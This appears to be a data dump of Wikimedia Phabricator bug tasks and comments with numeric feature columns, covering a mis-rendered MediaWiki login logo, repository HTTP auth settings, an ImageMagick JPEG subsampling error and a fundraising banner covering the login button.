+2153,Use the MediaWiki logo for the login button,//importing issue status//,,,1410486168,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+2152,Use the MediaWiki logo for the login button,"**aklapper** wrote on `2014-08-18 21:07:24 (UTC)`
+
+>>! In T470#9, @mmodell wrote:
+> Fix is pending upstream
+
+For the records, superseded by https://secure.phabricator.com/T5096 and https://secure.phabricator.com/D9202
+
+[Fixing task status again which got munged when renaming according to T359.]",,,1410486167,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,0,1,0,0,1
+2151,Use the MediaWiki logo for the login button,"**mmodell** wrote on `2014-07-30 18:39:09 (UTC)`
+
+Fix is pending upstream",,,1410486167,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+2150,Use the MediaWiki logo for the login button,"**mmodell** wrote on `2014-07-18 21:55:33 (UTC)`
+
+https://gerrit.wikimedia.org/r/#/c/147662/
+",,,1410486164,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-qm5bkt3nmxpisqqdlqjw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+232,"MediaWiki login button has ""Amazon.com"" logo?","The login screen has an option now to login with MediaWiki.org credentials. The logo for this is shown as Amazon.com.
+
+This is due to the login options all sharing a CSS icon sprite, but no offset has been provided for MediaWiki, so it defaults to top left corner of the sprite, which is Amazon.com",Medium,50.0,1402351815,1410485929.0,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-USER-nyhmztvvw4luz5mlcuvg,False,PHID-TASK-sso35pptcxfyn2sgjjrw,task_description,resolved,True,c3,1,True,True,True,-56,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1860,"MediaWiki login button has ""Amazon.com"" logo?",//importing issue status//,,,1410485929,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+1859,"MediaWiki login button has ""Amazon.com"" logo?","**mmodell** wrote on `2014-06-27 22:26:28 (UTC)`
+
+fixed by https://gerrit.wikimedia.org/r/#/c/139442/ and currently submitted for review upstream.",,,1410485928,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+1858,"MediaWiki login button has ""Amazon.com"" logo?","**csteipp** wrote on `2014-06-16 15:39:35 (UTC)`
+
+It's a sprite with x & y offsets. I sent a patch to @mmodell and @demon. If someone can walk me through arc I can try and upload it here.",,,1410485928,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0
+1857,"MediaWiki login button has ""Amazon.com"" logo?","**aklapper** wrote on `2014-06-16 13:37:09 (UTC)`
+
+Also brought up in T40#97; Matt wrote
+> We should just hide the Amazon.com logo (CSS .login-MediaWiki {display: none} ) until the logo can be done properly.",,,1410485927,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-sso35pptcxfyn2sgjjrw,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+123,"Turn on ""diffusion.allow-http-auth""","When creating a Phabricator hosted repository, and trying to serve it over http (even for ""Read only""), Phabricator warns that:
+
+  NOTE: The configuration setting diffusion.allow-http-auth is currently disabled. You must enable it to activate authenticated access to repositories over HTTP.
+
+When going ahead nonetheless, and saving the changes, the repository status says:
+
+  Missing Binary git-http-backend	Unable to find this binary in the webserver's PATH. You may need to configure environment.append-paths.",Medium,50.0,1398289650,1412896210.0,PHID-USER-pntojlcbclwhuip53bix,False,PHID-USER-lluzkul4z7us4sxkayss,False,PHID-TASK-y2px7ogikirl56nqk7dk,task_description,declined,True,c3,1,True,False,True,-63,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+2161795,"Turn on ""diffusion.allow-http-auth""","Test wiki on [[ http://localhost/patchdemo | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:
+
+~~[[ http://localhost/patchdemo/wikis/2ca64449dd/w/ ]]~~",,,1689773325,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,True,,,419,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2161794,"Turn on ""diffusion.allow-http-auth""","Test wiki on [[ http://localhost/patchdemo | Patch demo ]]  by Ed using patch(es) linked to this task was **deleted**:
+
+~~[[ http://localhost/patchdemo/wikis/0483bb0894/w/ ]]~~",,,1689773317,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,True,,,419,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+2105452,"Turn on ""diffusion.allow-http-auth""","Change 907839 **abandoned** by Ladsgroup:
+%%%[mediawiki/extensions/AbuseFilter@master] [DNM] Test%%%
+Reason:
+%%%%%%
+https://gerrit.wikimedia.org/r/907839",,,1681339382,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,False,,,405,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+2105451,"Turn on ""diffusion.allow-http-auth""","Change 907839 had a related patch set uploaded (by Gerrit maintenance bot; author: Gerrit maintenance bot):
+%%%[mediawiki/extensions/AbuseFilter@master] [DNM] Test%%%
+https://gerrit.wikimedia.org/r/907839",,,1681339358,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,3,False,,,405,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+420571,"Turn on ""diffusion.allow-http-auth""",Accidental clash. Known issue. Reverting status.,,,1425458026,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0
+3171,"Turn on ""diffusion.allow-http-auth""",Let's close this for now. Please reopen if this is needed when we enable Diffusion here.,,,1412896210,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+1146,"Turn on ""diffusion.allow-http-auth""","**demon** wrote on `2014-04-30 00:28:02 (UTC)`
+
+Updated diffusion.allow-http-auth to be true.
+
+Still looking at the git-http-backend thing.",,,1410485453,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+1145,"Turn on ""diffusion.allow-http-auth""","**qgil** wrote on `2014-04-23 23:43:39 (UTC)`
+
+Reassigning to Chad because I don't feel confident about touching anything related to repository configuration.",,,1410485452,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-42,True,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+1144,"Turn on ""diffusion.allow-http-auth""","**qchris** wrote on `2014-04-23 21:52:24 (UTC)`
+
+(assigned to aklapper, as I have no clue who maintains this Phabricator instance, and he could hopefully re-assign correctly)",,,1410485452,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-y2px7ogikirl56nqk7dk,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+74511,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","For example with:
+https://kn.wikipedia.org/wiki/%E0%B2%9A%E0%B2%BF%E0%B2%A4%E0%B3%8D%E0%B2%B0:End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg
+
+Calling this URL:
+http://upload.wikimedia.org/wikipedia/kn/thumb/0/0e/End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg/230px-End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg
+
+Generate a HTTP 500 error with message:
+Error generating thumbnail
+
+ಮುನ್ನೋಟ ಚಿತ್ರವನ್ನು ಸೃಷ್ಟಿಸುವಲ್ಲಿ ದೋಷ: convert: Fractional sampling not implemented yet `/tmp/localcopy_1924ad5185f8-1.jpg' @ error/jpeg.c/EmitMessage/242.
+convert: missing an image filename `/tmp/transform_b82067d9cc5c-1.jpg' @ error/convert.c/ConvertImageCommand/3011.
+
+Error code: 1
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1414245480,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,False,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_description,open,True,c3,1,False,False,,-36,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1
+517436,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","The file appears to thumbnail correctly now. Did we upgrade ImageMagick to a version which contains the alleged patch? (I couldn't find any evidence that such a patch exists, much less has been released, much less backported.)",,,1440975496,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,3,True,,,8,True,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0
+325882,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Sorry for my last comment, is not for this bug report.",,,1414624033,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+325878,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Here is my HTTP header dump for http://parsoid-lb.eqiad.wikimedia.org/euwiki/Cebus?oldid=3949332
+===
+GET /euwiki/Cebus?oldid=3949332 HTTP/1.1
+Host: parsoid-lb.eqiad.wikimedia.org
+User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:33.0) Gecko/20100101 Firefox/33.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: fr,en-us;q=0.7,en;q=0.3
+Accept-Encoding: gzip, deflate
+DNT: 0
+Cookie: GeoIP=CH:Dubendorf:47.3954:8.6184:v4
+Connection: keep-alive
+
+HTTP/1.1 200 OK
+X-Powered-By: Express
+Vary: Accept-Encoding
+Access-Control-Allow-Origin: *
+Cache-Control: private,no-cache,s-maxage=0
+content-revision-id: 3949332
+X-Parsoid-Performance: duration=270362; start=1414501238071
+Content-Type: text/html; charset=UTF-8
+Content-Encoding: gzip
+X-Varnish: 497764938, 820175809
+Via: 1.1 varnish, 1.1 varnish
+Content-Length: 2646
+Accept-Ranges: bytes
+Date: Tue, 28 Oct 2014 13:05:08 GMT
+Age: 0
+Connection: keep-alive
+X-Cache: cp1058 miss (0), cp1058 frontend miss (0)",,,1414501581,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+325872,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","The beta version of imagemagick 6.8.9-10 was released here:
+http://www.imagemagick.org/download/beta/ImageMagick-6.8.9-10.tar.bz2",,,1414408632,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+325868,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""",What happens here is pretty incredible... the end too ;),,,1414282678,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+325866,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","upstream says: ""We can reproduce the problem you posted and have a patch in ImageMagick 6.8.9-10 Beta, available by sometime tomorrow. Thanks.""
+
+----
+
+Of course Wikimedia updates its packages almost never, so it probably won't make it to WMF servers for about seven years.",,,1414281233,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+325862,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Well I filed an upstream bug: http://www.imagemagick.org/discourse-server/viewtopic.php?f=3&t=26434 , but to be honest, I'm not really sure if this is really an image magick bug.",,,1414269752,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+325857,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","(In reply to Bawolff (Brian Wolff) from comment #2)
+> Ah, its related to the file having an invalid YCbCr sampling specification.
+> It specifies ""2 3"", and as far as I can tell, the valid choices are:
+
+To further that, the ""2 3"" would denote subsampling with 1/2 resolution in the horizontal direction, and 1/3 in the vertical resolution.
+
+When we ask image magick to scale it with say the -define 'jpeg:size=295x175' option, that hands off the initial scaling to libjpeg, which shrinks it by 50%. As a result it tries to in the vertical direction scale by 3/2 (Since it tries for every 2 vertical samples (from the scaling factor) to return 3 samples (from the subsampling)). But if -define 'jpeg:size=295x175' isn't there, then the full image is decompressed, and the vertical chroma is scaled by the integer 3.
+
+I don't know if this could be considered a bug in image magick, or if libjpeg should handle this better, or if the image is just broken.",,,1414267547,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+325850,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Ah, its related to the file having an invalid YCbCr sampling specification. It specifies ""2 3"", and as far as I can tell, the valid choices are:
+
+'1 1' = YCbCr4:4:4 
+'1 2' = YCbCr4:4:0 
+'1 4' = YCbCr4:4:1 
+'2 1' = YCbCr4:2:2 
+'2 2' = YCbCr4:2:0 
+'2 4' = YCbCr4:2:1 
+'4 1' = YCbCr4:1:1 
+'4 2' = YCbCr4:1:0",,,1414266101,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+325846,"HTTP 500 errors with certain JPEG thumbnails: ""Fractional sampling not implemented yet""","Appears to be bug in image magick about how it gives size hints to libjpeg.
+
+example test case:
+
+convert -define 'jpeg:size=118x70' End-of-the-world-Stephen-Hawking-god-particle-Higgs-boson-508102.jpg  out.jpg
+
+I've tested on both old image magick, and 6.8.9-3",,,1414260582,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-7xdb3tbyctvghdwl7xg3,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+74013,Can't see or click login button due to fundraising banner,"Trying to click the login button with a fundraising banner in my way
+
+The image speaks by itself.
+
+Yes, if I know there is a register/login button I can move the cursor away and then back, but this doesn't help anything.
+
+P.s.: Yes, the banner as a whole takes more space than is available for the article (T108256). I guess that's a milestone too.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: Linux
+**Platform**: PC
+
+**Attached**: {F15045}",Low,25.0,1413268380,1510237483.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-TASK-3zvnakisitc6ddoo67vb,task_description,invalid,True,c3,1,True,False,False,-38,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1
+961866,Can't see or click login button due to fundraising banner,This ticket is from 2014. We probably don't even use that particular banner anymore. Can be reopened if the issue is encountered again.,,,1510237483,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,3,True,,,123,True,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+549858,Can't see or click login button due to fundraising banner,I'm not sure how this task is low priority.,,,1445447223,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,3,True,,,15,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+549602,Can't see or click login button due to fundraising banner,Should this be blocked on something about fullscreen banners?,,,1445413988,,PHID-USER-p6hvqn5njgnxuagekh4b,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,3,True,,,15,True,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+333626,Can't see or click login button due to fundraising banner,"LOL, even https://archive.today/TSorY does ""better"", one can see the buttons in transparency.",,,1417029913,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-32,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,1,0,0
+326729,Can't see or click login button due to fundraising banner,"(In reply to Peter Coombe from comment #5)
+> suggestions for a better
+> way to do it are always welcome.
+
+* Not using the full width, so that the login button isn't covered.
+* Dismissing upon click.
+* Using some transparency so that the button is partly visible behind the banner.
+* Pushing the page down so that everything is visible below the banner.
